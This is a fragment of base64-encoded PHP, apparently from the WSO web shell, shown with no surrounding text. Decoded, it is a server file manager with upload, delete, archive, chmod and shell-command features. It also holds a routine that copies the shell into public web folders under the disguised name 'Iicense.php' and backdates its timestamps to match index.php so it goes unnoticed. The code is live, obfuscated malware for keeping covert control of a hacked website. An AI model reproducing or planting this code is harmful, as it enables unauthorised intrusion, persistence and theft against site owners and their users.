DstLSRpKXskcGVybXMrPShpbnQpJF9QT1NUWydwMiddWyRpXSpwb3coOCAsKHN0cmxlbigkX1BPU1RbJ3AyJ10pLSRpLTEgKSk7fWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpe0BjaG1vZCgkZiwkcGVybXMpO311bnNldCgkX1NFU1NJT05bJ2YnXSwkX1NFU1NJT05bJ2FjdCddKTt9ZWxzZWlmKCRfU0VTU0lPTlsnYWN0J109PSd6aXAnICYmIGlzc2V0KCRfUE9TVFsncDInXSkpe2lmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXskemlwPW5ldyBaaXBBcmNoaXZlKCk7aWYoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sMSApKXtjaGRpcigkX1NFU1NJT05bJ2MnXSk7Zm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZil7aWYoJGY9PScuLicpY29udGludWU7aWYoQGlzX2ZpbGUoJF9TRVNTSU9OWydjJ10uJGYpKSR6aXAtPmFkZEZpbGUoJF9TRVNTSU9OWydjJ10uJGYsJGYpO2Vsc2VpZihAaXNfZGlyKCRfU0VTU0lPTlsnYyddLiRmKSl7JGl0ZXJhdG9yPW5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycpKTtmb3JlYWNoKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpeyR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksJGtleSk7fX19Y2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTskemlwLT5jbG9zZSgpO319dW5zZXQoJF9TRVNTSU9OWydmJ10sJF9TRVNTSU9OWydhY3QnXSk7fWVsc2VpZigkX1NFU1NJT05bJ2FjdCddPT0ndGFyJyAmJiBpc3NldCgkX1BPU1RbJ3AyJ10pKXtjaGRpcigkX1NFU1NJT05bJ2MnXSk7JF9TRVNTSU9OWydmJ109YXJyYXlfbWFwKCdlc2NhcGVzaGVsbGFyZycsJF9TRVNTSU9OWydmJ10pO3dzb0V4KCd0YXIgY2Z6diAnLmVzY2FwZXNoZWxsYXJnKCRfUE9TVFsncDInXSkuJyAnLmltcGxvZGUoJyAnLCRfU0VTU0lPTlsnZiddKSk7Y2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTt1bnNldCgkX1NFU1NJT05bJ2YnXSwkX1NFU1NJT05bJ2FjdCddKTt9fWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKXtzd2l0Y2goJF9QT1NUWydwMSddKXtjYXNlICd1cGxvYWRGaWxlJzp7aWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCRfRklMRVNbJ2YnXVsnbmFtZSddKSl7ZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjt9ZWxzZSB7aWYoaXNfZmlsZSgnaW5kZXgucGhwJykpeyR0aW1lT3RoRmlsZT1maWxlbXRpbWUoJ2luZGV4LnBocCcpO3RvdWNoKCRfRklMRVNbJ2YnXVsnbmFtZSddLCR0aW1lT3RoRmlsZSwkdGltZU90aEZpbGUpO319YnJlYWs7fWNhc2UgJ21rZGlyJzppZighQG1rZGlyKCRfUE9TVFsncDInXSkpZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiO2JyZWFrO2Nhc2UgJ2RlbGV0ZSc6ZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKXskcGF0aD0oc3Vic3RyKCRwYXRoLC0xICk9PScvJyk/JHBhdGg6JHBhdGguJy8nOyRkaD1vcGVuZGlyKCRwYXRoKTt3aGlsZSgoJGl0ZW09cmVhZGRpcigkZGgpKSE9PWZhbHNlKXskaXRlbT0kcGF0aC4kaXRlbTtpZigoYmFzZW5hbWUoJGl0ZW0pPT0iLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pPT0iLiIpKWNvbnRpbnVlOyR0eXBlPWZpbGV0eXBlKCRpdGVtKTtpZigkdHlwZT09ImRpciIpZGVsZXRlRGlyKCRpdGVtKTtlbHNlIEB1bmxpbmsoJGl0ZW0pO31jbG9zZWRpcigkZGgpO0BybWRpcigkcGF0aCk7fWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZil7aWYoJGY9PScuLicpY29udGludWU7JGY9dXJsZGVjb2RlKCRmKTtpZihpc19kaXIoJGYpKWRlbGV0ZURpcigkZik7ZWxzZSBAdW5saW5rKCRmKTt9YnJlYWs7Y2FzZSAnc2hlbGxVcGxvYWQnOmNhc2UgJ3NoZWxsVXBsb2FkTW9yZTEwRmlsZXMnOmZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpe2ZvcmVhY2goYXJyYXkoJycsJy9wdWJsaWNfaHRtbCcsJy93d3cnLCcvaHR0cGRvY3MnLCcvZG9jcycpIGFzICRzdWJkaXIpeyRmU3ViPSRmLiRzdWJkaXI7JGRpckNvbnRlbnQ9c2NhbmRpcigkZlN1Yik7aWYoJF9QT1NUWydwMSddPT0ic2hlbGxVcGxvYWQiIHx8ICgkX1BPU1RbJ3AxJ109PSJzaGVsbFVwbG9hZE1vcmUxMEZpbGVzIiAmJiBjb3VudCgkZGlyQ29udGVudCk+MTIgKSl7QGNvcHkoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLCRmU3ViLicvSWljZW5zZS5waHAnKTtpZihAaXNfZmlsZSgkZlN1Yi4nL2luZGV4LnBocCcpKXskdGltZU90aEZpbGU9QGZpbGVtdGltZSgkZlN1Yi4nL2luZGV4LnBocCcpO0B0b3VjaCgkZlN1Yi4nL0lpY2Vuc2UucGhwJywkdGltZU90aEZpbGUsJHRpbWVPdGhGaWxlKTt9fX19YnJlYWs7Y2FzZSAncGFzdGUnOmlmKCRfU0VTU0lPTlsnYWN0J109PSdjb3B5Jyl7ZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7aWYoaXNfZGlyKCRjLiRzKSl7bWtkaXIoJGQuJHMpOyRoPUBvcGVuZGlyKCRjLiRzKTt3aGlsZSgoJGY9QHJlYWRkaXIoJGgpKSE9PWZhbHNlKWlmKCgkZiE9Ii4iKSBhbmQgKCRmIT0iLi4iKSljb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwkZC4kcy4nLycpO31lbHNlaWYoaXNfZmlsZSgkYy4kcykpQGNvcHkoJGMuJHMsJGQuJHMpO31mb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKWNvcHlfcGFzdGUoJF9TRVNTSU9OWydjJ10sJGYsJEdMT0JBTFNbJ2N3ZCddKTt9ZWxzZWlmKCRfU0VTU0lPTlsnYWN0J109PSdtb3ZlJyl7ZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7aWYoaXNfZGlyKCRjLiRzKSl7bWtkaXIoJGQuJHMpOyRoPUBvcGVuZGlyKCRjLiRzKTt3aGlsZSgoJGY9QHJlYWRkaXIoJGgpKSE9PWZhbHNlKWlmKCgkZiE9Ii4iKSBhbmQgKCRmIT0iLi4iKSljb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwkZC4kcy4nLycpO31lbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKUBjb3B5KCRjLiRzLCRkLiRzKTt9Zm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZilAcmVuYW1lKCRfU0VTU0lPTlsnYyddLiRmLCRHTE9CQUxTWydjd2QnXS4kZik7fXVuc2V0KCRfU0VTU0lPTlsnZiddKTticmVhaztkZWZhdWx0OmlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKXskX1NFU1NJT05bJ2FjdCddPUAkX1BPU1RbJ3AxJ107JF9TRVNTSU9OWydmJ109QCRfUE9TVFsnZiddO2ZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGs9PiRmKSRfU0VTU0lPTlsnZiddWyRrXT11cmxkZWNvZGUoJGYpOyRfU0VTU0lPTlsnYyddPUAkX1BPU1RbJ2MnXTt9YnJlYWs7fWlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSl7aWYoJF9TRVNTSU9OWydhY3QnXT09J3VuemlwJyl7aWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpeyR6aXA9bmV3IFppcEFyY2hpdmUoKTtmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKXtpZigkemlwLT5vcGVuKCRfU0VTU0lPTlsnYyddLiRmKSl7JHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7JHppcC0+Y2xvc2UoKTt9fX11bnNldCgkX1NFU1NJT05bJ2YnXSwkX1NFU1NJT05bJ2FjdCddKTt9fX0kZGlyQ29udGVudD1Ac2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTtpZigkZGlyQ29udGVudD09PWZhbHNlKXtlY2hvICdDYW5cJ3Qgb3BlbiB0aGlzIGZvbGRlciEnO3dzb0Zvb3RlcigpO3JldHVybiA7fWdsb2JhbCAkc29ydDskc29ydD1hcnJheSgnbmFtZScsMSApO2lmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKXtpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsJF9QT1NUWydwMSddLCRtYXRjaCkpJHNvcnQ9YXJyYXkoJG1hdGNoWzEgXSwoaW50KSRtYXRjaFsyIF0pO31lY2hvICI8c2NyaXB0Pg0KCWZ1bmN0aW9uIHNhKCkgew0KCQlmb3IoaT0wO2k8ZC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KCQkJaWYoZC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveCcpDQoJCQkJZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOw0KCX0NCg0KPC9zY3JpcHQ+DQo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPg0KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzEgXT8wIDoxICkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzEgXT8wIDoxICkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMSBdPzAgOjEgKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxIF0/MCA6MSApLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjskZGlycz0kZmlsZXM9YXJyYXkoKTskbj1jb3VudCgkZGlyQ29udGVudCk7Zm9yKCRpPTAgOyRpPCRuOyRpKyspeyRvdz1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pKTskZ3I9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7JHRtcD1hcnJheSgnbmFtZSc9PiRkaXJDb250ZW50WyRpXSwncGF0aCc9PiRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sJ21vZGlmeSc9PmRhdGUoJ1ktbS1kIEg6aTpzJyxAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKSwncGVybXMnPT53c29QZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLCdzaXplJz0+QGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLCdvd25lcic9PiRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwnZ3JvdXAnPT4kZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSksJ3N1YmZpbGVzJz0+KGNvdW50KEBzY2FuZGlyKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKS0yICksKTtpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSkkZmlsZXNbXT1hcnJheV9tZXJnZSgkdG1wLGFycmF5KCd0eXBlJz0+J2ZpbGUnKSk7ZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKSRkaXJzW109YXJyYXlfbWVyZ2UoJHRtcCxhcnJheSgndHlwZSc9PidsaW5rJywnbGluayc9PnJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTtlbHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSAmJiAoJGRpckNvbnRlbnRbJGldIT0iLiIpKSRkaXJzW109YXJyYXlfbWVyZ2UoJHRtcCxhcnJheSgndHlwZSc9PidkaXInKSk7fSRHTE9CQUxTWydzb3J0J109JHNvcnQ7ZnVuY3Rpb24gd3NvQ21wKCRhLCRiKXtpZigkR0xPQkFMU1snc29ydCddWzAgXSE9J3NpemUnKXJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzAgXV0pLHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswIF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMSBdPzEgOi0xICk7ZWxzZSByZXR1cm4gKCgkYVsnc2l6ZSddPCRiWydzaXplJ10pPy0xIDoxICkqKCRHTE9CQUxTWydzb3J0J11bMSBdPzEgOi0xICk7fXVzb3J0KCRmaWxlcywid3NvQ21wIik7dXNvcnQoJGRpcnMsIndzb0NtcCIpOyRmaWxlcz1hcnJheV9tZXJnZSgkZGlycywkZmlsZXMpOyRsPTAgO2ZvcmVhY2goJGZpbGVzIGFzICRmKXtpZighaXNzZXQoJGZbJ2xpbmsnXSkpeyRmWydsaW5rJ109Jyc7fWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiB0aXRsZT0nLiRmWydsaW5rJ10uJz48Yj5bICcuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKS4nIF08L2I+Jm5ic3A7PHNwYW4gY2xhc3M9InNtYWxsIj4oJy4kZlsnc3ViZmlsZXMnXS4nKTwvc3Bhbj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3dzb1ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXS4nPC9hPicuJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJykiIHRpdGxlPSJyZW5hbWUiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd0b3VjaFwnKSIgdGl0bGU9InRvdWNoIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiIHRpdGxlPSJlZGl0Ij5FPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiIHRpdGxlPSJkb3dubG9hZCI+RDwvYT4nOicnKS4nPC90ZD48L3RyPic7JGw9JGw/MCA6MSA7fWVjaG8gIjx0cj48dGQgY29sc3Bhbj03Pg0KDQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiInPg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+IjtlY2hvICI8c2VsZWN0IG5hbWU9J3AxJz48b3B0aW9uIHZhbHVlPSdjb3B5Jz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbW92ZSc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRpb24+IjtpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7ZWNobyAiPG9wdGlvbiB2YWx1ZT0nemlwJz5Db21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz5VbmNvbXByZXNzICh6aXApPC9vcHRpb24+Ijt9ZWNobyAiPG9wdGlvbiB2YWx1ZT0ndGFyJz5Db21wcmVzcyAodGFyLmd6KTwvb3B0aW9uPiI7aWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pICYmIEBjb3VudCgkX1NFU1NJT05bJ2YnXSkpe2VjaG8gIjxvcHRpb24gdmFsdWU9J3Bhc3RlJz5QYXN0ZSAvIENvbXByZXNzPC9vcHRpb24+Ijt9ZWNobyAiPG9wdGlvbiBkaXNhYmxlZCB2YWx1ZT0nJz4tLS0tLS0tLS0tPC9vcHRpb24+IjtlY2hvICI8b3B0aW9uIHZhbHVlPSdwZXJtaXMnPlBlcm1pc3Npb25zPC9vcHRpb24+IjtlY2hvICI8b3B0aW9uIHZhbHVlPSdzaGVsbFVwbG9hZCc+U2hlbGwgdXBsb2FkPC9vcHRpb24+IjtlY2hvICI8b3B0aW9uIHZhbHVlPSdzaGVsbFVwbG9hZE1vcmUxMEZpbGVzJz5TaGVsbCB1cGxvYWQgKD4xMCBkL2YpPC9vcHRpb24+IjtlY2hvICI8L3NlbGVjdD4mbmJzcDsiO2lmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSAmJiAoKCRfU0VTU0lPTlsnYWN0J109PSd6aXAnKSB8fCAoJF9TRVNTSU9OWydhY3QnXT09J3RhcicpKSAmJiBAY291bnQoJF9TRVNTSU9OWydmJ10pKXtlY2hvICJmaWxlIG5hbWU6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wMiB2YWx1ZT0nd3NvXyIuZGF0ZSgiWW1kX0hpcyIpLiIuIi4oJF9TRVNTSU9OWydhY3QnXT09J3ppcCc/J3ppcCc6J3Rhci5neicpLiInPiZuYnNwOyI7fWlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSAmJiAoJF9TRVNTSU9OWydhY3QnXT09J3Blcm1pcycpKXtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9JzA3NTUnPiZuYnNwOyI7fWVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+IjtlY2hvICI8L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+IjtlY2hvICI8L2Rpdj4iO3dzb0Zvb3RlcigpO31mdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSl7ZnVuY3Rpb24gaGV4MmJpbigkcCl7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fWlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKXtmdW5jdGlvbiBiaW5oZXgoJHApe3JldHVybiBkZWNoZXgoYmluZGVjKCRwKSk7fX1pZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSl7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MCA7JGk8c3RyTGVuKCRwKTskaSs9MiApeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxIF0pKTt9cmV0dXJuICRyO319aWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4Jykpe2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTAgOyRpPHN0cmxlbigkcCk7KyskaSkkci49c3ByaW50ZignJTAyWCcsb3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpe2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MCA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0nJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0kc3RyaW5nVG9vbHM9YXJyYXkoJ0Jhc2U2NCBlbmNvZGUnPT4nYmFzZTY0X2VuY29kZScsJ0Jhc2U2NCBkZWNvZGUnPT4nYmFzZTY0X2RlY29kZScsJ1VybCBlbmNvZGUnPT4ndXJsZW5jb2RlJywnVXJsIGRlY29kZSc9Pid1cmxkZWNvZGUnLCdGdWxsIHVybGVuY29kZSc9PidmdWxsX3VybGVuY29kZScsJ21kNSBoYXNoJz0+J21kNScsJ3NoYTEgaGFzaCc9PidzaGExJywnY3J5cHQnPT4nY3J5cHQnLCdDUkMzMic9PidjcmMzMicsJ0FTQ0lJIHRvIEhFWCc9Pidhc2NpaTJoZXgnLCdIRVggdG8gQVNDSUknPT4naGV4MmFzY2lpJywnSEVYIHRvIERFQyc9PidoZXhkZWMnLCdIRVggdG8gQklOJz0+J2hleDJiaW4nLCdERUMgdG8gSEVYJz0+J2RlY2hleCcsJ0RFQyB0byBCSU4nPT4nZGVjYmluJywnQklOIHRvIEhFWCc9PidiaW5oZXgnLCdCSU4gdG8gREVDJz0+J2JpbmRlYycsJ1N0cmluZyB0byBsb3dlciBjYXNlJz0+J3N0cnRvbG93ZXInLCdTdHJpbmcgdG8gdXBwZXIgY2FzZSc9PidzdHJ0b3VwcGVyJywnSHRtbHNwZWNpYWxjaGFycyc9PidodG1sc3BlY2lhbGNoYXJzJywnU3RyaW5nIGxlbmd0aCc9PidzdHJsZW4nLCk7aWYoaXNzZXQoJF9QT1NUWydhamF4J10pKXskX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT10cnVlO29iX3N0YXJ0KCk7aWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCRzdHJpbmdUb29scykpZWNobyAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTskdGVtcD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7ZWNobyBzdHJsZW4oJHRlbXApLCJcbiIsJHRlbXA7ZXhpdDt9d3NvSGVhZGVyKCk7ZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7aWYoZW1wdHkoJF9QT1NUWydhamF4J10pICYmICFlbXB0eSgkX1BPU1RbJ3AxJ10pKSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPWZhbHNlO2VjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iO2ZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrPT4kdillY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7ZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKEAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLihlbXB0eSgkX1BPU1RbJ3AxJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iO2lmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKXtpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpO31lY2hvICI8L3ByZT48L2Rpdj48YnI+PGgxPlNlYXJjaCB0ZXh0IGluIGZpbGVzOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KDQoJCTxmb3JtIG9uc3VibWl0PVwiZyhudWxsLHRoaXMuY3dkLnZhbHVlLG51bGwsdGhpcy50ZXh0LnZhbHVlLHRoaXMuZmlsZW5hbWUudmFsdWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUgY2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScwJyB3aWR0aD0nNTAlJz4NCgkJCTx0cj48dGQgd2lkdGg9JzElJz5UZXh0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0ZXh0JyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QYXRoOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjd2QnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4iJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L